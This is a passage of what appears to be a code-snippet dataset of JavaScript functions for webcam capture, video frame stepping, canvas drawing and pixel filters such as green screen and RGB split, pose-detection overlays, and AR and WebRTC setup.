100) {\n\t\t\t\tactual_frame.second--;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tnext_frame.addEventListener('click', \n\t\tfunction() {\n\t\t\tif (actual_frame === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (video === null) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (isUndefined(actual_frame) || isUndefined(video) || isUndefined(video.duration)) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (actual_frame.second >= video.duration) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tvar value = Math.floor((actual_frame.second + 1) * 100 / video.duration);\n\t\t\tif (value >= 0 && value <= 100) {\n\t\t\t\tactual_frame.second++;\n\t\t\t\ttime_slider.value = value;\n\t\t\t\tdrawFrame(actual_frame);\n\t\t\t}\n\t\t},\n\t\tfalse);\n\t\t\n\t\tdocument.getElementById('submit').addEventListener('click', \n\t\tfunction() {\n\t\t\tupdateDescriptions();\n\t\t\tvar result = combineSegments();\n\t\t\tconsole.log(result);\n\t\t\t// send result to server!\n \t\t\tsocket.emit('ffmpeg', { 'Name' : SelectedFile.name, 'Data' : result });\n\t\t\tdocument.getElementById(\"create_progress\").innerHTML='Creating summary... 0%';\n \n\t\t\tResetSegments();\n\t\t},\n\t\tfalse);\n\t\t\n\t\t// initialize player\n\t\tinitPlayer();\n\t\n\t}","function initialize() {\n // will create HTML5 video element in staging area if not present\n getDOMVideo();\n isInitialized = true;\n }","async function setupWebcam() {\n if (navigator.mediaDevices.getUserMedia) {\n const stream = await navigator.mediaDevices.getUserMedia({\n \"audio\": false,\n \"video\": {\n width: {\n min: 640,\n max: 640\n },\n height: {\n min: 480,\n max: 480\n }\n }\n });\n\n webcam.srcObject = stream;\n\n return new Promise((resolve) => {\n webcam.onloadedmetadata = () => {\n webcam.width = stream.getVideoTracks()[0].getSettings().width;\n webcam.height = stream.getVideoTracks()[0].getSettings().height;\n canvas.width = stream.getVideoTracks()[0].getSettings().width;\n canvas.height = stream.getVideoTracks()[0].getSettings().height;\n\n canvasDims = [canvas.height, canvas.width];\n\n resolve(webcam);\n };\n });\n }\n}","function drawFrameOnCanvas(frame) {\n\t\n\t\tvar reset = frame.reset;\n\t\n canvas.height = video.videoHeight;\n canvas.width = video.videoWidth;\n\t\t// retrieve context for drawing\n\t\tvar context = canvas.getContext(\"2d\");\n\t\t\t\t\n\t\t// Start by clearing the canvas\n\t\tcontext.clearRect(0, 0, canvas.width, canvas.height);\n\t\t\n\t\t// draw frame according to time\n\t\t\n\t\tif (reset) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tcontext.drawImage(video, 0, 0, canvas.width, canvas.height);\n \n }","function renderUIAfterFrameChange(videoNode) {\n\n const video = videoNode.data.videoCore\n\n /* Rendering the current time bar */\n renderCurrentPlaybackBar(videoNode)\n\n /* Updating the canvas resolution */\n alpha1 = canvas.width * video.videoHeight / canvas.height - video.videoWidth\n alpha2 = video.videoWidth * canvas.height / canvas.width - video.videoHeight\n\n if (alpha1 < alpha2) {\n canvas.width = video.videoWidth + alpha1\n canvas.height = video.videoHeight\n } else {\n canvas.width = video.videoWidth\n canvas.height = video.videoHeight + alpha2\n }\n\n canvasRatio = canvas.width / canvas.height\n videoRatio = video.videoWidth / video.videoHeight\n\n currentVideoDurationLabel.innerText = formatTimeFromSeconds((\n videoNode.data.metadata.baseDuration - videoNode.data.metadata.startTime + video.currentTime\n ).toFixed(2))\n \n if (videoNode.data.metadata.ratio == 'fit') {\n if (window.currentRatio == 'strech') {\n document.querySelector('.toogle-fit').click()\n }\n context.drawImage(\n video, canvas.width / 2 - videoRatio * canvas.height / 2, 0, videoRatio * canvas.height, canvas.height\n ) \n } else if (videoNode.data.metadata.ratio == 'strech') {\n if (window.currentRatio === 'fit') {\n document.querySelector('.toogle-strech').click()\n }\n context.drawImage(\n video, 0, 0, canvas.width, canvas.height\n )\n }\n}","function init() {\n\t\t\tconstructVideoPlayerContent(elems.container);\n\t\t\tshowControls();\n\t\t\t_.event(elems.btnBigPlay, 'click', play);\n\t\t\t_.event(elems.buttons.play, 'click', playPause);\n\t\t\t_.event(elems.video, 'click', pause);\n\t\t\t_.event(elems.buttons.volume, 'click', mute);\n\t\t\t_.event(elems.buttons.fullscreen, 'click', fullscreen);\n\t\t\t_.event(elems.video, 'loadedmetadata', function(e) {\n\t\t\t\tplaybackRate(opts.speed);\n\t\t\t\tvideoProgress = new Range(opts.progress / elems.video.duration, elems.ranges.video, {\n\t\t\t\t\tonDrop: (pct) => progress(pct, true),\n\t\t\t\t});\n\t\t\t\tvolumeSlider = new Range(opts.volume, elems.ranges.volume, {\n\t\t\t\t\tonDrag: volume,\n\t\t\t\t});\n\t\t\t\tvolume(opts.volume);\n\t\t\t\tprogress(opts.progress);\n\t\t\t\ttimestamp(0, elems.video.duration);\n\t\t\t\tif (opts.autoplay) play();\n\t\t\t});\n\t\t\t_.event(elems.video, 'timeupdate', progUpdate);\n\t\t\t_.event(elems.main, 'mousemove', showControls);\n\t\t\t_.event(elems.controls, 'mouseenter', () => showControls(true));\n\t\t\t_.event(elems.controls, 'mouseleave', () => showControls(false));\n\t\t\t_.event(window, 'keyup', handleKeyPress);\n\t\t\t_.event(document, 'fullscreenchange', handleFullscreenChange); // PREFIXES WHY\n\t\t\t_.event(document, 'msfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'mozfullscreenchange', handleFullscreenChange);\n\t\t\t_.event(document, 'webkitfullscreenchange', handleFullscreenChange);\n\n\t\t\tif (opts.fullscreen) fullscreen(true);\n\t\t\telems.video.src = opts.src;\n\t\t}","function setup() {\n // set up canvas\n let canvas = createCanvas(canvasW, canvasH);\n canvas.parent('canvas');\n\n}","init() {\n this.isCanvasSupported() ? this.ctx = this.canvas.getContext('2d') : false;\n\n if (this.ctx) {\n this.playBtn.addEventListener('click', () => {\n this.playBtn.classList.add('active');\n this.startTheGame();\n });\n\n this.retryBtn.addEventListener('click', () => {\n this.reset();\n this.retryBtn.classList.add('inactive');\n this.startTheGame();\n });\n }\n }","initBoard() {\n this.canvas = document.createElement('canvas');\n this.ctx = this.canvas.getContext('2d');\n this.width = this.canvas.width = this.tileWidth * this.columns;\n this.height = this.canvas.height = this.tileHeight * this.rows;\n this.canvas.style.border = \"none\";\n this.initStage();\n }","function initialize() {\n webcamElement = document.getElementById('webcam');\n canvasElement = document.getElementById('canvas');\n webcam = new Webcam(webcamElement, 'user', canvasElement);\n snapButtonElement = document.getElementById('capture');\n startButtonElement = document.getElementById('retake');\n}","function videoReady() { }","setUpCanvas(){\n var w = window.innerWidth;\n var h = window.innerHeight;\n this.$canvas = $(`\\n ccwc-video {\\n display: inline-block;\\n background-color: black;\\n position: relative;\\n overflow: hidden;\\n }\\n \\n ccwc-video > canvas {\\n position: absolute;\\n }\\n \\n ccwc-video > video {\\n position: absolute;\\n }\\n \\n\\n \\n `;\\n }\",\n \"async function populateVideo() {\\n // We grab the feed off the user's webcam\\n const stream = await navigator.mediaDevices.getUserMedia({\\n video: { width: 1280, height: 720 },\\n });\\n\\n // We set the object to be the stream\\n video.srcObject = stream; // usually when dealing with video files we use video.src = 'videoName.mp4'\\n await video.play();\\n\\n // size the canvases to be the same size as the video\\n console.log(video.videoWidth, video.videoHeight);\\n\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n\\n faceCanvas.width = video.videoWidth;\\n faceCanvas.height = video.videoHeight;\\n}\",\n \"function paintToCanvas() {\\n // you will find that the canvas height is bigger than the current window size even though its size is set to 640*480\\n // because the width of the canvas is set to 100% which means it will take 100% of the space availabe of its parent container (photobooth)\\n // Since the width of the photobooth is appx 1330px \\n // the canvas will also take width of 1330px\\n // since the width is 1330px the height will be 999px in order to maintain the aspect ratio (640*480)\\n // the canvas is taking aspect ratio from our defined size (i.e 640 * 480)\\n // therefore you can change the aspect ratio by changing the width and height of the canvas\\n // if you remove the width 100% from its css , it will regain the size of 640*480\\n\\n // width and height = 640 * 480 \\n // because the resolution we get from the video feed is by default 640*480 and is pre-defined by the system webcam\\n // setting canvas width and height = 640*480\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n [canvas.width, canvas.height] = [width, height];\\n\\n // the video playing in the canvas is not a actual video\\n // but rather a image showing every few millisecond (giving us a video like visual)\\n // So every 16ms the image captured from the video feed will be pasted/drawed on the canvas.\\n // So we can say our video on canvas is showing 1 frame every 16 milliseconds\\n return setInterval(() => {\\n // ctx.drawImage will draw the image captured from the video feed\\n // 0,0 are the x and y coordinate of the top left corner of the canvas\\n // it will indicate that from which point the image drawing will start\\n // width and height is of the destination contex(canvas)\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // FROM HERE AFTERWARDS pixels MEANS VARIABLE\\n\\n // ctx.getImageData will give the data of the image(from the video playing on the canvas) \\n // pixels will store the image data in form of array of rgb values for individual pixels\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // Rendering different effects for the pixels\\n // Every image captured from the video feed every 16ms will go through these function everytime\\n // The pixels returned by these function will have different rgb values as compared to the original pixels\\n\\n // This is for red filter\\n // pixels = redEffect(pixels);\\n\\n // This is for rgbSplit(tiktok) filter\\n // pixels = rgbSplit(pixels);\\n\\n // This is for green screen\\n pixels = greenScreen(pixels);\\n\\n // globalAlpha will determine how transparent will be the filters (0 - fully transparent, 1-opaque)\\n // ctx.globalAlpha = 0.8\\n\\n // this will put the modified pixels back into the canvas\\n // thus showing the filter on the video\\n ctx.putImageData(pixels, 0, 0)\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.fillStyle = '#000000';\\n ctx.fillRect(0, 0, pageContent.offsetWidth, pageContent.offsetHeight);\\n ctx.lineWidth = 5;\\n ctx.fillStyle = '#00FFFF';\\n ctx.strokeStyle = '#00FFFF';\\n\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function installcanvas () {\\n\\n // if there's an iframe\\n var iframe = document.getElementById('tool_content');\\n if (iframe) {\\n \\t\\taddEventListener(\\\"message\\\", installfromiframe('#content', 'about:blank', ''), false);\\n } \\n \\n // multiple videos as per\\n // https://canvas.harvard.edu/courses/340/wiki/supplemental-materials-for-lab-1-reporter-gene-analysis-using-transgenic-animals?module_item_id=630 \\n else {\\n\\n // video locations that may need a click to access \\n var containers = [].slice.call(document.getElementsByClassName('instructure_file_link_holder'));\\n containers = containers.concat([].slice.call(document.getElementsByClassName('instructure_inline_media_comment')));\\n // known video locations\\n var matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n\\n // if any known videos exist, launch those\\n if (matches) {\\n\\n // loop through all known videos\\n for (var i = 0; i < matches.length; i++) {\\n\\n // pull out the video number\\n matches[i] = matches[i].replace(/\\\\D/g, \\\"\\\");\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n\\n // only supporting mp4 at the moment\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data \\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n parameter.playing = false;\\n\\n // find if the video is playing\\n if ($('#mep_' + matches[i]).find('.mejs-pause')[0]){\\n parameter.playing = true;\\n }\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n\\n // click on all possible video containers, watch if things change\\n if (containers.length != 0) {\\n\\n // watch for changes for each container\\n for(var i = 0; i < containers.length; i++) {\\n\\n // use mutation observer as per \\n // https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver\\n var observer = new MutationObserver(function (mutations) {\\n mutations.forEach(function (mutation) {\\n\\n // see if changes are to the child of the container\\n if (mutation.type === 'childList') {\\n\\n // look through each child\\n Array.prototype.forEach.call(mutation.target.children, function (child) {\\n\\n // match (only once per video) -- same code as if (matches) branch\\n matches = document.body.innerHTML.match(/me_flash_\\\\d_container/g);\\n if (matches) {\\n for (var i = 0; i < matches.length; i++) {\\n matches[i] = matches[i].replace(/\\\\D/g, '');\\n\\n // parameters for the videoplayer\\n var parameter = {};\\n parameter.audio = false;\\n\\n // set number for video classes \\n parameter.number = matches[i];\\n\\n // get source for available video\\n parameter.source = document.getElementById('mep_' + matches[i]).childNodes[0].childNodes[0].childNodes[1].src + '?1';\\n if (parameter.source) {\\n\\n // get locally stored data for time\\n var hist = JSON.parse(localStorage.getItem(parameter.source));\\n if (hist) {\\n parameter.time = hist.time;\\n }\\n\\n // prepare new container\\n var container = $('');\\n\\n // maximize player's width\\n container.css('margin', '10px 0 0 0');\\n container.css('padding', '0');\\n container.css('width', '100%');\\n\\n // replace old container with new\\n $('#mep_' + matches[i]).replaceWith(container);\\n\\n parameter.playing = false;\\n\\n // install player\\n install(container, parameter);\\n }\\n }\\n }\\n });\\n }\\n });\\n });\\n\\n // actually start observing\\n observer.observe(containers[i], {\\n childList: true,\\n characterData: true,\\n subtree: true\\n });\\n }\\n\\n // simulate click, waits for link to appear\\n $('.media_comment_thumbnail').click(); \\n } \\n\\n // no possible video containers, apologize\\n else {\\n apologize();\\n }\\n }\\n}\",\n \"function init() {\\n\\t\\tconsole.log('init');\\n\\t\\t// Put event listeners into place\\n\\t\\t// Notice that in this specific case handlers are loaded on the onload event\\n\\t\\twindow.addEventListener(\\n\\t\\t\\t'DOMContentLoaded',\\n\\t\\t\\tfunction() {\\n\\t\\t\\t\\t// Grab elements, create settings, etc.\\n\\t\\t\\t\\tvar canvas = document.getElementById('canvas');\\n\\t\\t\\t\\tvar context = canvas.getContext('2d');\\n\\t\\t\\t\\t// context.transform(3,0,0,1,canvas.width,canvas.heigth);\\n\\t\\t\\t\\tvar video = document.getElementById('video');\\n\\t\\t\\t\\tvar mediaConfig = {\\n\\t\\t\\t\\t\\tvideo: true\\n\\t\\t\\t\\t};\\n\\t\\t\\t\\tvar errBack = function(e) {\\n\\t\\t\\t\\t\\tconsole.log('An error has occurred!', e);\\n\\t\\t\\t\\t};\\n\\n\\t\\t\\t\\tlet aspectRatio = 2;\\n\\n\\t\\t\\t\\t// Put video listeners into place\\n\\t\\t\\t\\tif (navigator.mediaDevices && navigator.mediaDevices.getUserMedia) {\\n\\t\\t\\t\\t\\tnavigator.mediaDevices.getUserMedia(mediaConfig).then(function(stream) {\\n\\t\\t\\t\\t\\t\\taspectRatio = stream.getVideoTracks()[0].getSettings().aspectRatio;\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\t// Trigger photo take\\n\\t\\t\\t\\tdocument.getElementById('snap').addEventListener('click', function() {\\n\\t\\t\\t\\t\\tdocument.getElementsByClassName('canvas-container')[0].style.visibility = 'visible';\\n\\t\\t\\t\\t\\tlet heigth = 480;\\n\\n\\t\\t\\t\\t\\tcontext.save();\\n\\t\\t\\t\\t\\tcontext.translate(480 * aspectRatio, 0);\\n\\t\\t\\t\\t\\tcontext.scale(-1, 1);\\n\\t\\t\\t\\t\\tcontext.drawImage(video, 0, 0, aspectRatio * heigth, heigth);\\n\\t\\t\\t\\t\\tcontext.restore();\\n\\t\\t\\t\\t\\tstate.photoSnapped = true; // photo has been taken\\n\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\t// Trigger when upload button is pressed\\n\\t\\t\\t\\tif (document.getElementById('upload'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// uploadImage();\\n\\t\\t\\t\\t\\t\\tselectImage();\\n\\t\\t\\t\\t\\t});\\n\\n\\t\\t\\t\\tif (document.getElementById('upload_search'))\\n\\t\\t\\t\\t\\tdocument.getElementById('upload_search').addEventListener('click', () => {\\n\\t\\t\\t\\t\\t\\tdocument.getElementById('video-spinner').style.display = 'block';\\n\\t\\t\\t\\t\\t\\t// searchImage();\\n\\t\\t\\t\\t\\t});\\n\\t\\t\\t},\\n\\t\\t\\tfalse\\n\\t\\t);\\n\\t}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, 640, 480);\\n // We can call both functions to draw all keypoints and the skeletons\\n drawKeypoints();\\n drawSkeleton();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function startVideo(){\\n canvas.width = video.videoWidth;\\n canvas.height = video.videoHeight;\\n canvas.getContext('2d').\\n drawImage(video, 0, 0, canvas.width, canvas.height);\\n $scope.sendPicture();\\n}\",\n \"function paintToCanvas() {\\n // We need to make sure canvas and video are the same width/height\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n canvas.width = width;\\n canvas.height = height;\\n\\n // Every couple seconds, take image from webcam and put it onto canvas\\n return setInterval(() => {\\n // drawImage: pass it an image/video and it will place it on the canvas\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // Take pixels out\\n let pixels = ctx.getImageData(0, 0, width, height); // huge array of pixels\\n\\n // Play around with pixels\\n switch (this.className) {\\n case 'red':\\n pixels = redEffect(pixels);\\n break;\\n case 'split':\\n ctx.globalAlpha = 0.1;\\n pixels = rgbSplit(pixels);\\n break;\\n case 'green':\\n pixels = greenScreen(pixels);\\n }\\n\\n // Put pixels back into canvas\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function drawCameraIntoCanvas() {\\n // Draw the video element into the canvas\\n drawKeypoints();\\n window.requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function currentFrameCanvas(){\\n let video = document.getElementById(\\\"video_id\\\");\\n canvas = document.getElementById('screenShot');\\n canvas.width = width;\\n canvas.height = height;\\n canvas.getContext('2d').drawImage(video, 0, 0, canvas.width, canvas.height);\\n}\",\n \"function drawCameraIntoCanvas() {\\n\\n // draw the video element into the canvas\\n ctx.drawImage(video, 0, 0, video.width, video.height);\\n \\n if (body) {\\n // draw circle for left and right Eye\\n const leftWrist = body.getBodyPart(bodyParts.leftWrist);\\n const rightWrist = body.getBodyPart(bodyParts.rightWrist);\\n\\n\\n\\n // draw left Eye\\n ctx.beginPath();\\n ctx.arc(leftWrist.position.x, leftWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n // draw right Eye\\n ctx.beginPath();\\n ctx.arc(rightWrist.position.x, rightWrist.position.y, 5, 0, 2 * Math.PI);\\n ctx.fillStyle = 'white';\\n ctx.fill();\\n\\n\\n ctx.beginPath();\\n ctx.moveTo(leftWrist.position.x,leftWrist.position.y);\\n ctx.lineTo(rightWrist.position.x,rightWrist.position.y, 150);\\n ctx.lineWidth = 10;\\n ctx.strokeStyle = 'white';\\n ctx.stroke();\\n }\\n requestAnimationFrame(drawCameraIntoCanvas);\\n}\",\n \"function createCanvas() {\\n // console.log(parseInt(pixelByPixel.value));\\n selectedFrameData = null;\\n selectedFrameData = {};\\n layerCount = 0;\\n framesArray = [],\\n currentFrame = 0,\\n playbackRunning = false,\\n playbackInterval = null,\\n unsavedFrame = false;\\n removeListeners();\\n resetFrames();\\n resetLayers();\\n resetSelectionState();\\n addDisplayFrame(0);\\n setCurrentFrame(0);\\n initCanvas(\\\"2d\\\", parseInt(pixelByPixel.value));\\n}\",\n \"function paintToCanvas() {\\n // get the width and height of the actual live feed video\\n const width = video.videoWidth;\\n const height = video.videoHeight;\\n\\n // set canvas width and height to be the same as the live feed video\\n canvas.width = width;\\n canvas.height = height;\\n\\n // every 16ms, take the image from the webcam and put it into the canvas\\n return setInterval(() => {\\n ctx.drawImage(video, 0, 0, width, height);\\n\\n // take the pixels out\\n let pixels = ctx.getImageData(0, 0, width, height);\\n\\n // mess with them\\n // pixels = redEffect(pixels);\\n\\n // pixels = redSplit(pixels);\\n // ctx.globalAlpha = 0.8;\\n\\n pixels = greenScreen(pixels);\\n\\n // put them back\\n ctx.putImageData(pixels, 0, 0);\\n }, 16);\\n}\",\n \"function initPreview() {\\n\\t\\n\\t//clear the canvas first\\n\\tcanvasPreviewContext.clearRect(0, 0, canvasPreview.width, canvasPreview.height);\\n\\t\\n\\t//what file type are we dealing with\\n\\tif (fileType == \\\"VIDEO\\\") {\\n\\t\\t\\n\\t\\tsampleWidth = 50;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\tvideoArea.width = sampleWidth;\\n\\t\\tvideoArea.height = sampleHeight;\\n\\t\\t\\n\\t\\t//reset size of the canvas\\n\\t\\tcanvasPreview.width = sampleWidth;\\n\\t\\tcanvasPreview.height = sampleHeight;\\n\\t\\tpreviewArea.style.width = sampleWidth + \\\"px\\\";\\n\\t\\tpreviewArea.style.height = sampleHeight + \\\"px\\\";\\n\\t\\t\\n\\t\\t//set the video in the videoArea so it starts playing\\n\\t\\tvideoArea.type = file.type;\\n\\t\\tvideoArea.src = fileURL;\\n\\t\\t\\n\\t\\t//set fileWidth\\n\\t\\tfileWidth = sampleWidth;\\n\\t\\tfileHeight = sampleHeight;\\n\\t\\t\\n\\t\\t//make a sample first\\n\\t\\t/*canvasPreviewContext.drawImage(videoArea, 0, 0, videoArea.width, videoArea.height);*/\\n\\t\\t\\n\\t\\t//initBuffers();\\n\\t\\t\\n\\t\\t\\n\\t\\t/*document.onclick = function() {\\n\\t\\t\\tinitCubes();\\n\\t\\t}*/\\n\\t\\t\\n\\t\\t//keep updating cubes based on the options\\n\\t\\t//startUpdateCubesInterval();\\n\\t\\tsetTimeout(initPlanes, 2000);\\n\\t\\tstartUpdatePlanesInterval();\\n\\t\\tstopUpdateCubesInterval();\\n\\t\\t\\n\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\tstartThreeInterval();\\n\\n\\t\\t\\n\\t} else if (fileType == \\\"IMAGE\\\") {\\n\\t\\t\\n\\t\\t\\n\\t\\tsampleWidth = 30;\\n\\t\\tsampleHeight = Math.floor((9/16)*sampleWidth);\\n\\t\\t\\n\\t\\t//load the image data and display in the preview\\n\\t\\tvar img = new Image();\\n\\t\\timg.onload = function() {\\n\\n\\t\\t\\t//get the image dimensions so we can drawImage at the right aspect ratio\\n\\t\\t\\tsetNewFileDimensions(img);\\n\\t\\t\\t\\n\\t\\t\\t//draw the image onto the canvas\\n\\t\\t canvasPreviewContext.drawImage(img, 0, 0, fileWidth, fileHeight);\\n\\t\\t\\t\\n\\t\\t\\t//initBuffers();\\n\\t\\t\\tinitCubes();\\n\\t\\t\\t//initPlanes();\\n\\t\\t\\t\\n\\t\\t\\t//keep updating cubes based on the options\\n\\t\\t\\tstartUpdateCubesInterval();\\n\\t\\t\\tstopUpdatePlanesInterval();\\n\\t\\t\\t\\n\\t\\t\\t//keep rendering the screen based on mouse/camera position\\n\\t\\t\\tstartThreeInterval();\\n\\n\\t\\t}\\n\\t\\t\\n\\t\\t//set the src of our new file\\n\\t\\timg.src = fileURL;\\n\\t\\t\\n\\t\\t//we should clear the video tag\\n\\t\\tvideoArea.type = \\\"\\\";\\n\\t\\tvideoArea.src = \\\"\\\";\\n\\t\\tvideoArea.pause();\\n\\t\\t\\n\\t\\t//we should stop sampling the video if its there\\n\\t\\tstopSamplingVideo();\\n\\t\\t\\n\\t}\\n\\t\\n}\",\n \"function FrameInitalizer(canvas, form, video, options) {\\n //Opt parse.\\n options = options || {};\\n this.drawFrame = options.override_frame_draw || this._drawFrame\\n this.drawImage = options.override_image_draw || this._drawImage\\n this.drawPolygons = options.override_polygon_draw || this._drawPolygons\\n //I might add a string to the OnChange functions that says where they were called from.\\n //I could also add stuff like OnClear or whatever, not really sure I wanna go for that.\\n //A return a reference to the previous state?\\n //You shouldn't need these unless you do web worker stuff anyways.\\n this.onImageChange = options.on_image_change_functor || (function(self) {\\n return; //self.drawFrame() //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.onPolygonChange = options.on_polygon_change_functor || (function(self) {\\n return; //self.drawFrame(); //Do nothing, if they want to draw on every update, let them set this.\\n });\\n this.source = options.source || null;\\n this.number_of_frames = options.number_of_frames || 1;\\n //Mandatory positional args.\\n this.canvas = canvas;\\n this.form = form;\\n this.video = video; //video element;\\n this.frames = [new _FrameTracker(0)];\\n this.frame_index = 0;\\n this.updateFrameList(1);\\n }\",\n \"function initialize() {\\n // Create a canvas element to which we will copy video.\\n canvas = document.createElement('canvas');\\n var webcamDimensions = webcam.getDimensions();\\n canvas.width = webcamDimensions.width;\\n canvas.height = webcamDimensions.height;\\n\\n // We need a context for the canvas in order to copy to it.\\n context = canvas.getContext('2d');\\n\\n // create an AR Marker detector using the canvas as the data source\\n detector = ardetector.create( canvas );\\n\\n // Create an AR View for displaying the augmented reality scene\\n view = arview.create( webcam.getDimensions(), canvas );\\n\\n // Set the ARView camera projection matrix according to the detector\\n view.setCameraMatrix( detector.getCameraMatrix(10,1000) );\\n\\n // Place the arview's GL canvas into the DOM.\\n document.getElementById(\\\"application\\\").appendChild( view.glCanvas );\\n }\",\n \"function setup() {\\n createCanvas(640, 480, P2D); // canvas has same dimensions as my webcam\\n background(0);\\n stroke(0, 255, 0);\\n noFill();\\n\\n // make sure the framerate is the same between sending and receiving\\n frameRate(30);\\n\\n // Set to true to turn on logging for the webrtc client\\n WebRTCPeerClient.setDebug(true);\\n\\n // To connect to server over public internet pass the ngrok address\\n // See https://github.com/lisajamhoury/WebRTC-Simple-Peer-Examples#to-run-signal-server-online-with-ngrok\\n WebRTCPeerClient.initSocketClient('https://XXXXXXXX.ngrok.io/');\\n\\n // Start the peer client\\n WebRTCPeerClient.initPeerClient();\\n\\n // start your video\\n // your webcam will always appear below the canvas\\n myVideo = createCapture(VIDEO);\\n myVideo.size(width, height);\\n myVideo.hide();\\n\\n ////// HOW TO DEFINE OTHER PERSON'S VIDEO? //////\\n // otherVideo = createCapture(VIDEO);\\n // otherVideo.size(width, height);\\n\\n}\",\n \"function paintToCanvas() { //to display webcame live in a specified canvas with videos actual height and width\\n\\n const width = video.videoWidth; //getting actual height and width of video\\n const height = video.videoHeight;\\n canvas.width = width; //setting the canvas width and height accordingly \\n canvas.height = height;\\n return setInterval(() => { //by setintertval method we are drawing the recieved video's image in after every 16milli sec \\n ctx.drawImage(video, 0, 0, width, height); //here we are drawing the image recieved in canvas\\n let pixels = ctx.getImageData(0, 0, width, height) //here we are getting the canvas image to make some effect\\n // console.log(pixels)\\n // debugger;\\n // pixels = redeffect(pixels) //here redeffect is called\\n // console.log(hola);\\n pixels = rgbsplit(pixels) // we are calling rgb split to make some changes in the pixels thats is the image we get from canvas\\n ctx.globalAlpha=0.8; \\n // pixels = greenscreen(pixels)\\n ctx.putImageData(pixels, 0, 0); //after we get the changed pixels we put it back in the canvas\\n }, 16);\\n}\",\n \"function setup() {\\n createCanvas(640, 480);\\n video = select(\\\"video\\\") || createCapture(VIDEO);\\n video.size(width, height);\\n\\n const poseNet = ml5.poseNet(video, { flipHorizontal: true }, () => {\\n select(\\\"#status\\\").hide();\\n });\\n\\n poseNet.on(\\\"pose\\\", (newPoses) => {\\n poses = newPoses;\\n });\\n\\n // Hide the video element, and just show the canvas\\n video.hide();\\n}\",\n \"function ytInject() {\\n injectStyle();\\n injectCanvas();\\n injectButton();\\n\\n $(window).resize(function() {\\n var main = $('#vt-main-div').get(0);\\n var canvas = $('#vt-canvas').get(0);\\n\\n main.style.height = $('.video-stream').height();\\n main.style.width = $('.video-stream').width();\\n $('#vt-canvas').height($('vt-main-div').height());\\n $('#vt-canvas').width($('vt-main-div').width());\\n\\n //Scale the canvas to achieve proper resolution\\n canvas.width=$('#vt-main-div').width()*window.devicePixelRatio;\\n canvas.height=$('#vt-main-div').height()*window.devicePixelRatio;\\n canvas.style.width=$('#vt-main-div').width() + \\\"px\\\";\\n canvas.style.height=$('#vt-main-div').height() + \\\"px\\\";\\n });\\n}\",\n \"setup(canvas) {\\n this.engine.renderer.setup(canvas);\\n this.start();\\n }\",\n \"function start() {\\n if (initialized)\\n return;\\n\\n let myCanvas = document.getElementById(\\\"canvas\\\");\\n myCanvas.classList.toggle(\\\"hide\\\");\\n\\n let button = document.getElementById(\\\"webcamButton\\\");\\n button.classList.add(\\\"hide\\\");\\n\\n window.ctx = myCanvas.getContext('2d', {alpha: false});\\n\\n var mycamvas = new camvas(window.ctx, processFrame);\\n initialized = true;\\n}\",\n \"function drawVedio() {\\n setTimeout(() => {\\n canvas.getContext(\\\"2d\\\").drawImage(video, 0, 0, 100, 100);\\n drawVedio();\\n }, 0);\\n }\",\n \"function setupMotionDetection() {\\n md_canvas = document.getElementById('mdCanvas');\\n test_canvas = document.getElementById('testCanvas');\\n md_canvas.width = vid_width;\\n md_canvas.height = vid_height;\\n}\",\n \"function prepareCanvas() {\\n canvas = window._canvas = new fabric.Canvas('canvas');\\n canvas.backgroundColor = '#ffffff';\\n canvas.isDrawingMode = 1;\\n canvas.freeDrawingBrush.color = \\\"black\\\";\\n canvas.freeDrawingBrush.width = 1;\\n canvas.renderAll();\\n //setup listeners \\n canvas.on('mouse:up', function(e) {\\n getFrame();\\n mousePressed = false\\n });\\n 